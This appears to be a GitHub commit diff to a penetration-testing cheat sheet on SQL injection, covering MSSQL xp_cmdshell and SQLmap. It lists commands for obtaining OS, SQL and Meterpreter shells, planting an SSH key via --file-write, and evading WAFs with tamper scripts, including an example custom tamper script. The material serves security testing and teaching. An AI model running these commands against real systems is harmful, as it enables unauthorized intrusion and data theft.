You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
`xp_cmdshell` is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL).
269
+
268
270
```sql
269
271
EXEC xp_cmdshell "net user";
270
272
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
271
273
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
272
274
```
273
275
274
-
If you need to reactivate `xp_cmdshell` (disabled by default in SQL Server 2005)
276
+
If you need to reactivate `xp_cmdshell`, it is disabled by default in SQL Server 2005.
*[SQLmap Without SQL Injection](#sqlmap-without-sql-injection)
22
26
*[References](#references)
@@ -42,7 +46,7 @@ A custom injection point in SQLmap allows you to specify exactly where and how S
42
46
By defining a custom injection point with the wildcard character '`*`' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
66
+
sqlmap -u "http://example.com/?id=1" -p id --sql-shell
63
67
```
64
68
65
69
* OS Shell:
66
70
67
71
```ps1
68
-
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
72
+
sqlmap -u "http://example.com/?id=1" -p id --os-shell
69
73
```
70
74
71
75
* Meterpreter:
72
76
73
77
```ps1
74
-
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
78
+
sqlmap -u "http://example.com/?id=1" -p id --os-pwn
75
79
```
76
80
77
81
* SSH Shell:
78
82
79
83
```ps1
80
-
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
84
+
sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
81
85
```
82
86
83
87
## Crawl And Auto-Exploit
@@ -128,21 +132,25 @@ In SQLmap, tampering can help you adjust the injection in specific ways required
128
132
129
133
### Suffix And Prefix
130
134
135
+
The `--suffix` and `--prefix` options allow you to specify additional strings that should be appended or prepended to the payloads generated by SQLMap. These options can be useful when the target application requires specific formatting or when you need to bypass certain filters or protections.
136
+
131
137
```powershell
132
-
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
138
+
sqlmap -u "http://example.com/?id=1" -p id --suffix="-- "
*`--suffix=SUFFIX`: The `--suffix` option appends a specified string to the end of each payload generated by SQLMap.
142
+
*`--prefix=PREFIX`: The `--prefix` option prepends a specified string to the beginning of each payload generated by SQLMap.
137
143
138
-
### Tamper Scripts
144
+
### Default Tamper Scripts
139
145
140
146
A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
180
188
|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
181
189
|percentage.py | Adds a percentage sign ('%') infront of each character |
182
-
|plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart |
183
-
|plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart |
190
+
|plus2concat.py | Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart |
191
+
|plus2fnconcat.py | Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart |
184
192
|randomcase.py | Replaces each keyword character with random case value |
185
193
|randomcomments.py | Add random comments to SQL keywords|
186
194
|securesphere.py | Appends special crafted string |
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
205
213
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
206
214
215
+
### Custom Tamper Scripts
216
+
217
+
When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions:
218
+
219
+
*`__priority__`: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100.
220
+
*`dependencies()`: This function gets called before the tamper script is used.
221
+
*`tamper(payload)`: The main function that modifies the payload.
222
+
223
+
The following code is an example of a tamper script that replace instances like '`LIMIT M, N`' with '`LIMIT N OFFSET M`' counterpart:
224
+
225
+
```py
226
+
import os
227
+
import re
228
+
229
+
from lib.core.common import singleTimeWarnMessage
230
+
from lib.core.enums importDBMS
231
+
from lib.core.enums importPRIORITY
232
+
233
+
__priority__ =PRIORITY.HIGH
234
+
235
+
defdependencies():
236
+
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"% (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
237
+
238
+
deftamper(payload, **kwargs):
239
+
retVal = payload
240
+
241
+
match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or"")
The `--sql-query` option in SQLmap is used to manually run your own SQL query on a vulnerable database after SQLmap has confirmed the injection and gathered necessary access.
The `--eval` option lets you define or modify request parameters using Python. The evaluated variables can then be used inside the URL, headers, cookies, etc.
272
+
273
+
Particularly useful in scenarios such as:
274
+
275
+
***Dynamic parameters**: When a parameter needs to be randomly or sequentially generated.
276
+
***Token generation**: For handling CSRF tokens or dynamic auth headers.
277
+
***Custom logic**: E.g., encoding, encryption, timestamps, etc.
The preprocessing script is used to modify the request data before it is sent to the target application. This can be useful for encoding parameters, adding headers, or other request modifications.
293
+
294
+
```ps1
295
+
--preprocess=preprocess.py Use given script(s) for preprocessing (request)
296
+
```
297
+
298
+
**Example preprocess.py**:
299
+
300
+
```ps1
301
+
#!/usr/bin/env python
302
+
def preprocess(req):
303
+
print("Preprocess")
304
+
print(req)
305
+
```
306
+
307
+
#### Postprocessing Script (postprocess.py)
308
+
309
+
The postprocessing script is used to modify the response data after it is received from the target application. This can be useful for decoding responses, extracting specific data, or other response modifications.
310
+
311
+
```ps1
312
+
--postprocess=postprocess.py Use given script(s) for postprocessing (response)
313
+
```
314
+
207
315
## Reduce Requests Number
208
316
209
317
The parameter `--test-filter` is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications.
@@ -232,7 +340,7 @@ Using SQLmap without exploiting SQL injection vulnerabilities can still be usefu
232
340
You can use SQLmap to access a database via its port instead of a URL.
0 commit comments